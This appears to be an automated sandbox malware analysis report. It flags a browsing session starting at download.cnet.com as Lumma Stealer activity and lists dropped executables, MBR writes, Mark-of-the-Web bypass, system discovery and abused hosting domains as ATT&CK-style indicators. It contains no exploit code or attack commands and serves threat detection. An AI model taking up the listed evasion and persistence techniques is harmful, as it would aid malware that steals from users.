Malware Analysis Report

2025-03-14 21:45

Sample ID 250201-ry1ktawna1
Target https://download.cnet.com
Tags
lumma bootkit google microsoft defense_evasion discovery execution motw persistence phishing privilege_escalation stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

Threat Level: Known bad

The file https://download.cnet.com was found to be: Known bad.

Malicious Activity Summary

lumma bootkit google microsoft defense_evasion discovery execution motw persistence phishing privilege_escalation stealer

Lumma family

Lumma Stealer, LummaC

Downloads MZ/PE file

Blocklisted process makes network request

Modifies file permissions

Event Triggered Execution: Component Object Model Hijacking

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Legitimate hosting services abused for malware hosting/C2

Writes to the Master Boot Record (MBR)

Checks installed software on the system

Obfuscated Files or Information: Command Obfuscation

Mark of the Web detected: This indicates that the page was originally saved or cloned.

Enumerates connected drives

Detected potential entity reuse from brand GOOGLE.

Detected potential entity reuse from brand MICROSOFT.

Suspicious use of SetThreadContext

Drops file in Windows directory

Subvert Trust Controls: Mark-of-the-Web Bypass

Drops file in Program Files directory

Browser Information Discovery

Enumerates physical storage devices

Command and Scripting Interpreter: PowerShell

System Location Discovery: System Language Discovery

Checks processor information in registry

Suspicious behavior: GetForegroundWindowSpam

Modifies system certificate store

Suspicious use of WriteProcessMemory

Modifies registry class

Checks SCSI registry key(s)

Suspicious use of AdjustPrivilegeToken

NTFS ADS

Suspicious use of SetWindowsHookEx

Uses Task Scheduler COM API

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2025-02-01 14:36

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2025-02-01 14:36

Reported

2025-02-01 14:54

Platform

win10v2004-20250129-en

Max time kernel

1049s

Max time network

1049s

Command Line

"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://download.cnet.com"

Signatures

Lumma Stealer, LummaC

stealer lumma

Lumma family

lumma

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A

Event Triggered Execution: Component Object Model Hijacking

persistence privilege_escalation

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\7z2409-x64.exe N/A
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

Checks installed software on the system

discovery

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\J: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\B: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A href.li N/A N/A
N/A href.li N/A N/A
N/A href.li N/A N/A
N/A href.li N/A N/A

Mark of the Web detected: This indicates that the page was originally saved or cloned.

phishing motw
Description Indicator Process Target
N/A https://storage.googleapis.com/script.aniview.com/ssync/62f53b2c7850d0786f227f64/ssync.html C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A https://storage.googleapis.com/script.aniview.com/ssync/62f53b2c7850d0786f227f64/ssync.html C:\Program Files\Mozilla Firefox\firefox.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A

Detected potential entity reuse from brand GOOGLE.

phishing google
Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Detected potential entity reuse from brand MICROSOFT.

phishing microsoft
Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\7-Zip\Lang\pa-in.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\License.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\7z.dll C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\id.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\mng.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\7-zip.chm C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ky.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ms.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\nn.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\descript.ion C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\hu.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ja.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\kab.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\et.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\si.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\sr-spc.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File created C:\Program Files\7-Zip\7-zip.dll.tmp C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ba.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\bn.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ca.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\cy.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ar.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\is.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\pt-br.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\gu.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ku.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\be.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\gl.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\hi.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ka.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\nb.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ne.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\pl.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\sq.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\fa.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\he.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lt.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\7-zip32.dll C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\History.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ku-ckb.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\zh-cn.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\7-zip.dll C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\tk.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\uk.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\el.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\en.ttt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\kk.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\tg.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ta.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\va.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\yo.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\br.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\it.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\mr.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\sa.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\hy.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lv.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\mng2.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\es.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\readme.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\sw.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\tr.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\uz.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\zh-tw.txt C:\Users\Admin\Downloads\7z2409-x64.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Installer\MSIBA4F.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIBADD.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\inprogressinstallinfo.ipi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIBB7B.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIBDEE.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIBFE3.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\e66b8ba.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIEA32.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSID68A.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIBDBE.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIEA32.tmp-\CustomAction.config C:\Windows\SysWOW64\rundll32.exe N/A
File created C:\Windows\Installer\SourceHash{A917A12B-A3A5-46EC-B2CD-885D2AC2D50C} C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIBB3C.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIEA32.tmp-\RequestSender.dll C:\Windows\SysWOW64\rundll32.exe N/A
File opened for modification C:\Windows\Installer\MSIEA32.tmp-\Microsoft.Deployment.WindowsInstaller.dll C:\Windows\SysWOW64\rundll32.exe N/A
File opened for modification C:\Windows\Installer\e66b8b8.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIB9F0.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\ C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSID243.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\e66b8b8.msi C:\Windows\system32\msiexec.exe N/A

Subvert Trust Controls: Mark-of-the-Web Bypass

defense_evasion
Description Indicator Process Target
File created C:\Users\Admin\Downloads\Let's Compress.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\Brawl_Stars_V2.0.11646.123.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\convertmasterapp.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\7z2409-x64.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Browser Information Discovery

discovery

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\more.com N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\more.com N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\MsiExec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\more.com N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\more.com N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\icacls.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\MsiExec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\more.com N/A
